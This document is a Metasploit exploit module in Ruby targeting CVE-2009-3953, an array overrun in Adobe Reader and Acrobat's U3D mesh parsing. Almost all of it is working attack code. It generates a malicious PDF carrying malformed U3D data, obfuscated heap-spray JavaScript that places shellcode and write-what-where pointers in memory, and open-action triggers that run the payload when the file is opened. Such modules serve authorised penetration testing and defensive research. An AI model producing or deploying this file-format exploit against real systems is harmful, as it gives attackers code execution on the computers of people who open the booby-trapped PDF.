Adobe U3D CLODProgressiveMeshDeclaration Array Overrun



##

# $Id: adobe_u3d_meshdecl.rb 10477 2010-09-25 11:59:02Z mc $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'
require 'zlib'

class Metasploit3 < Msf::Exploit::Remote
    Rank = GoodRanking

    include Msf::Exploit::FILEFORMAT

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Adobe U3D CLODProgressiveMeshDeclaration Array Overrun',
            'Description'    => %q{
                    This module exploits an array overflow in Adobe Reader and Adobe Acrobat.
                    Affected versions include < 7.1.4, < 8.2, and < 9.3. By creating a
                    specially crafted pdf that a contains malformed U3D data, an attacker may
                    be able to execute arbitrary code.
            },
            'License'        => MSF_LICENSE,
            'Author'         =>
                [
                    'Felipe Andres Manzano <felipe.andres.manzano[at]gmail.com>',
                    'jduck'
                ],
            'Version'        => '$Revision: 10477 $',
            'References'     =>
                [
                    [ 'CVE', '2009-3953' ],
                    [ 'OSVDB', '61690' ],
                    [ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb10-02.html' ]
                ],
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'process',
                    'DisablePayloadHandler' => 'true',
                },
            'Payload'        =>
                {
                    'Space'         => 1024,
                    'BadChars'      => "\x00",
                    'DisableNops'     => true
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    # test results (on Windows XP SP3)
                    # reader 7.0.5 - untested
                    # reader 7.0.8 - untested
                    # reader 7.0.9 - untested
                    # reader 7.1.0 - untested
                    # reader 7.1.1 - untested
                    # reader 8.0.0 - untested
                    # reader 8.1.2 - works
                    # reader 8.1.3 - not working :-/
                    # reader 8.1.4 - untested
                    # reader 8.1.5 - untested
                    # reader 8.1.6 - untested
                    # reader 9.0.0 - untested
                    # reader 9.1.0 - works
                    [ 'Adobe Reader Windows Universal (JS Heap Spray)',
                        {
                            'Size'        => (6500/20),
                            'DataAddr'    => 0x09011020,
                            'WriteAddr'    => 0x7c49fb34,
                        }
                    ],
                ],
            'DisclosureDate' => 'Oct 13 2009',
            'DefaultTarget'  => 0))

        register_options(
            [
                OptString.new('FILENAME', [ true, 'The file name.',  'msf.pdf']),
            ], self.class)

    end



    def exploit
        # Encode the shellcode.
        shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

        # Make some nops
        nops    = Rex::Text.to_unescape(make_nops(4))

=begin

Original notes on heap technique used in this exploit:

## PREPAREHOLES:
## We will construct 6500*20 bytes long chunks starting like this
## |0         |6   |8       |C        |24                    |size
## |00000...  |0100|20100190|0000...  |    ......pad......   |
##                 \      \
##                 \      \ -Pointer: to controlled data
##                   \ -Flag: must be 1
## -Adobe will handle this ragged structure if the Flag is on.
## -Adobe will get 'what to write where' from the memory pointed
##  by our supplied Pointer.
##
## then allocate a bunch of those ..
## .. | chunk | chunk | chunk | chunck | chunk | chunck | chunck | ..
##    |XXXXXXX|XXXXXXX|XXXXXXX|XXXXXXXX|XXXXXXX|XXXXXXXX|XXXXXXXX|
##
## and then free some of them...
## .. | chunk | free  | chunk |  free  | chunk |  free  | chunck | ..
##    |XXXXXXX|       |XXXXXXX|        |XXXXXXX|        |XXXXXXXX|
##
## This way controlling when the next 6500*20 malloc will be
## followed with. We freed more than one hole so it became tolerant
## to some degree of malloc/free trace noise.
## Note the 6500 is arbitrary it should be a fairly unused chunk size
## not big enough to cause a different type of allocation.
## Also as we don't need to reference it from anywhere we don't care
## where this hole layout is placed in memory.

## PREPAREMEMORY:
## In the next technique we make a big-chunk of 0x10000 bytes
## repeating a 0x1000 bytes long mini-chunk of controled data.
## Big-chunks are always allocated aligned to 0x1000. And if we
## allocate a fair amount of big-chuncks (XPSPx) we'll be confident
## Any 0x1000 aligned 0x1000 bytes from 0x09000000 to 0x0a000000
## will have our mini chunk
##
## A mini-chunk will have this look
##
## |0         |10          |54         |?           |0xff0  |0x1000
## |00000...  |  POINTERS  |    nops   | shellcode  |  pad  |
##
## So we control what is in 0x09XXXXXX. shellcode will be at 0x09XXX054+
## But we use 0x09011064.
## POINTERS looks like this:
## ...

=end

        # prepare the hole
        daddr = target['DataAddr']
        hole_data = [0,0,1,daddr].pack('VvvV')
        #padding
        hole_data << "\x00" * 24
        hole = Rex::Text.to_unescape(hole_data)

        # prepare ptrs
        ptrs_data = [0].pack('V')
        #where to write
        ptrs_data << [target['WriteAddr'] / 4].pack('V')
        #must be greater tan 5 and less than x for getting us where we want
        ptrs_data << [6].pack('V')
        #what to write
        ptrs_data << [(daddr+0x10)].pack('V')
        #autopointer for print magic(tm)
        ptrs_data << [(daddr+0x14)].pack('V')
        #function pointers for print magic(tm)
        #pointing to our shellcode
        ptrs_data << [(daddr+0x44)].pack('V') * 12
        ptrs = Rex::Text.to_unescape(ptrs_data)

        js_doc = <<-EOF
function prepareHoles(slide_size)
{
    var size = 1000;
    var xarr = new Array(size);
    var hole = unescape("#{hole}");
    var pad = unescape("%u5858");
    while (pad.length <= slide_size/2 - hole.length)
        pad += pad;
    for (loop1=0; loop1 < size; loop1+=1)
    {
        ident = ""+loop1;
        xarr[loop1]=hole + pad.substring(0,slide_size/2-hole.length);
    }
    for (loop2=0;loop2<100;loop2++)
    {
        for (loop1=size/2; loop1 < size-2; loop1+=2)
        {
            xarr[loop1]=null;
            xarr[loop1]=pad.substring(0,0x10000/2 )+"A";
            xarr[loop1]=null;
        }
    }
    return xarr;
}

function prepareMemory(size)
{
    var mini_slide_size = 0x1000;
    var slide_size = 0x100000;
    var xarr = new Array(size);
    var pad = unescape("%ucccc");

    while (pad.length <= 32 )
        pad += pad;

    var nops = unescape("#{nops}");
    while (nops.length <= mini_slide_size/2 - nops.length)
        nops += nops;

    var shellcode = unescape("#{shellcode}");
    var pointers = unescape("#{ptrs}");
    var chunk = nops.substring(0,32/2) + pointers +
        nops.substring(0,mini_slide_size/2-pointers.length - shellcode.length - 32) +
        shellcode + pad.substring(0,32/2);
    chunk=chunk.substring(0,mini_slide_size/2);
    while (chunk.length <= slide_size/2)
        chunk += chunk;

    for (loop1=0; loop1 < size; loop1+=1)
    {
        ident = ""+loop1;
        xarr[loop1]=chunk.substring(16,slide_size/2 -32-ident.length)+ident;
    }
    return xarr;
}

    var mem = prepareMemory(200);
    var holes = prepareHoles(6500);
    this.pageNum = 1;
EOF
        js_pg1 = %Q|this.print({bUI:true, bSilent:false, bShrinkToFit:false});|

        # Obfuscate it up a bit
        js_doc = obfuscate_js(js_doc,
            'Symbols' => {
                'Variables' => %W{ slide_size size hole pad mini_slide_size nops shellcode pointers chunk mem holes xarr loop1 loop2 ident },
                'Methods' => %W{ prepareMemory prepareHoles }
            }).to_s

        # create the u3d stuff
        u3d = make_u3d_stream(target['Size'], rand_text_alpha(rand(28)+4))

        # Create the pdf
        pdf = make_pdf(u3d, js_doc, js_pg1)

        print_status("Creating '#{datastore['FILENAME']}' file...")

        file_create(pdf)
    end


    def obfuscate_js(javascript, opts)
        js = Rex::Exploitation::ObfuscateJS.new(javascript, opts)
        js.obfuscate
        return js
    end


    def RandomNonASCIIString(count)
        result = ""
        count.times do
            result << (rand(128) + 128).chr
        end
        result
    end

    def ioDef(id)
        "%d 0 obj\n" % id
    end

    def ioRef(id)
        "%d 0 R" % id
    end

    #http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
    def nObfu(str)

        result = ""
        str.scan(/./u) do |c|
            if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'
                result << "#%x" % c.unpack("C*")[0]
            else
                result << c
            end
        end
        result
    end

    def ASCIIHexWhitespaceEncode(str)
        result = ""
        whitespace = ""
        str.each_byte do |b|
            result << whitespace << "%02x" % b
            whitespace = " " * (rand(3) + 1)
        end
        result << ">"
    end

    def u3d_pad(str, char="\x00")
        ret = ""
        if (str.length % 4) > 0
            ret << char * (4 - (str.length % 4))
        end
        return ret
    end


    def make_u3d_stream(size, meshname)

        # build the U3D header
        hdr_data = [1,0].pack('n*') # version info
        hdr_data << [0,0x24,31337,0,0x6a].pack('VVVVV')
        hdr = "U3D\x00"
        hdr << [hdr_data.length,0].pack('VV')
        hdr << hdr_data

        # mesh declaration
        decl_data = [meshname.length].pack('v')
        decl_data << meshname
        decl_data << [0].pack('V') # chain idx
        # max mesh desc
        decl_data << [0].pack('V') # mesh attrs
        decl_data << [1].pack('V') # face count
        decl_data << [size].pack('V') # position count
        decl_data << [4].pack('V') # normal count
        decl_data << [0].pack('V') # diffuse color count
        decl_data << [0].pack('V') # specular color count
        decl_data << [0].pack('V') # texture coord count
        decl_data << [1].pack('V') # shading count
        # shading desc
        decl_data << [0].pack('V') # shading attr
        decl_data << [0].pack('V') # texture layer count
        decl_data << [0].pack('V') # texture coord dimensions
        # no textore coords (original shading ids)
        decl_data << [size+2].pack('V') # minimum resolution
        decl_data << [size+3].pack('V') # final maximum resolution (needs to be bigger than the minimum)
        # quality factors
        decl_data << [0x12c].pack('V') # position quality factor
        decl_data << [0x12c].pack('V') # normal quality factor
        decl_data << [0x12c].pack('V') # texture coord quality factor
        # inverse quantiziation
        decl_data << [0].pack('V') # position inverse quant
        decl_data << [0].pack('V') # normal inverse quant
        decl_data << [0].pack('V') # texture coord inverse quant
        decl_data << [0].pack('V') # diffuse color inverse quant
        decl_data << [0].pack('V') # specular color inverse quant
        # resource params
        decl_data << [0].pack('V') # normal crease param
        decl_data << [0].pack('V') # normal update param
        decl_data << [0].pack('V') # normal tolerance param
        # skeleton description
        decl_data << [0].pack('V') # bone count
        # padding
        decl_pad = u3d_pad(decl_data)
        mesh_decl = [0xffffff31,decl_data.length,0].pack('VVV')
        mesh_decl << decl_data
        mesh_decl << decl_pad

        # build the modifier chain
        chain_data = [meshname.length].pack('v')
        chain_data << meshname
        chain_data << [1].pack('V') # type (model resource)
        chain_data << [0].pack('V') # attributes (no bounding info)
        chain_data << u3d_pad(chain_data)
        chain_data << [1].pack('V') # number of modifiers
        chain_data << mesh_decl
        modifier_chain = [0xffffff14,chain_data.length,0].pack('VVV')
        modifier_chain << chain_data

        # mesh continuation
        cont_data = [meshname.length].pack('v')
        cont_data << meshname
        cont_data << [0].pack('V') # chain idx
        cont_data << [0].pack('V') # start resolution
        cont_data << [0].pack('V') # end resolution
        # no resolution update, unknown data follows
        cont_data << [0].pack('V')
        cont_data << [1].pack('V') * 10
        mesh_cont = [0xffffff3c,cont_data.length,0].pack('VVV')
        mesh_cont << cont_data
        mesh_cont << u3d_pad(cont_data)

        data = hdr
        data << modifier_chain
        data << mesh_cont

        # patch the length
        data[24,4] = [data.length].pack('V')

        return data

    end

    def make_pdf(u3d_stream, js_doc, js_pg1)

        xref = []
        eol = "\x0a"
        obj_end = "" << eol << "endobj" << eol

        # the header
        pdf = "%PDF-1.7" << eol

        # filename/comment
        pdf << "%" << RandomNonASCIIString(4) << eol

        # js stream (doc open action js)
        xref << pdf.length
        compressed = Zlib::Deflate.deflate(ASCIIHexWhitespaceEncode(js_doc))
        pdf << ioDef(1) << nObfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol
        pdf << "stream" << eol
        pdf << compressed << eol
        pdf << "endstream" << eol
        pdf << obj_end

        # js stream 2 (page 1 annot js)
        xref << pdf.length
        compressed = Zlib::Deflate.deflate(ASCIIHexWhitespaceEncode(js_pg1))
        pdf << ioDef(2) << nObfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol
        pdf << "stream" << eol
        pdf << compressed << eol
        pdf << "endstream" << eol
        pdf << obj_end

        # catalog
        xref << pdf.length
        pdf << ioDef(3) << nObfu("<</Type/Catalog/Outlines ") << ioRef(4)
        pdf << nObfu("/Pages ") << ioRef(5)
        pdf << nObfu("/OpenAction ") << ioRef(8) << nObfu(">>")
        pdf << obj_end

        # outline
        xref << pdf.length
        pdf << ioDef(4) << nObfu("<</Type/Outlines/Count 0>>")
        pdf << obj_end

        # pages/kids
        xref << pdf.length
        pdf << ioDef(5) << nObfu("<</Type/Pages/Count 2/Kids [")
        pdf << ioRef(10) << " " # empty page
        pdf << ioRef(11) # u3d page
        pdf << nObfu("]>>")
        pdf << obj_end

        # u3d stream
        xref << pdf.length
        pdf << ioDef(6) << nObfu("<</Type/3D/Subtype/U3D/Length %s>>" % u3d_stream.length) << eol
        pdf << "stream" << eol
        pdf << u3d_stream << eol
        pdf << "endstream"
        pdf << obj_end

        # u3d annotation object
        xref << pdf.length
        pdf << ioDef(7) << nObfu("<</Type/Annot/Subtype")
        pdf << "/3D/3DA <</A/PO/DIS/I>>"
        pdf << nObfu("/Rect [0 0 640 480]/3DD ") << ioRef(6) << nObfu("/F 7>>")
        pdf << obj_end

        # js dict (open action js)
        xref << pdf.length
        pdf << ioDef(8) << nObfu("<</Type/Action/S/JavaScript/JS ") + ioRef(1) + ">>" << obj_end

        # js dict (page 1 annot js)
        xref << pdf.length
        pdf << ioDef(9) << nObfu("<</Type/Action/S/JavaScript/JS ") + ioRef(2) + ">>" << obj_end

        # page 0 (empty)
        xref << pdf.length
        pdf << ioDef(10) << nObfu("<</Type/Page/Parent ") << ioRef(5) << nObfu("/MediaBox [0 0 640 480]")
        pdf << nObfu(" >>")
        pdf << obj_end

        # page 1 (u3d/print)
        xref << pdf.length
        pdf << ioDef(11) << nObfu("<</Type/Page/Parent ") << ioRef(5) << nObfu("/MediaBox [0 0 640 480]")
        pdf << nObfu("/Annots [") << ioRef(7) << nObfu("]")
        pdf << nObfu("/AA << /O ") << ioRef(9) << nObfu(">>")
        pdf << nObfu(">>")
        pdf << obj_end

        # xrefs
        xrefPosition = pdf.length
        pdf << "xref" << eol
        pdf << "0 %d" % (xref.length + 1) << eol
        pdf << "0000000000 65535 f" << eol
        xref.each do |index|
            pdf << "%010d 00000 n" % index << eol
        end

        # trailer
        pdf << "trailer" << eol
        pdf << nObfu("<</Size %d/Root " % (xref.length + 1)) << ioRef(3) << ">>" << eol
        pdf << "startxref" << eol
        pdf << xrefPosition.to_s() << eol
        pdf << "%%EOF" << eol

    end

end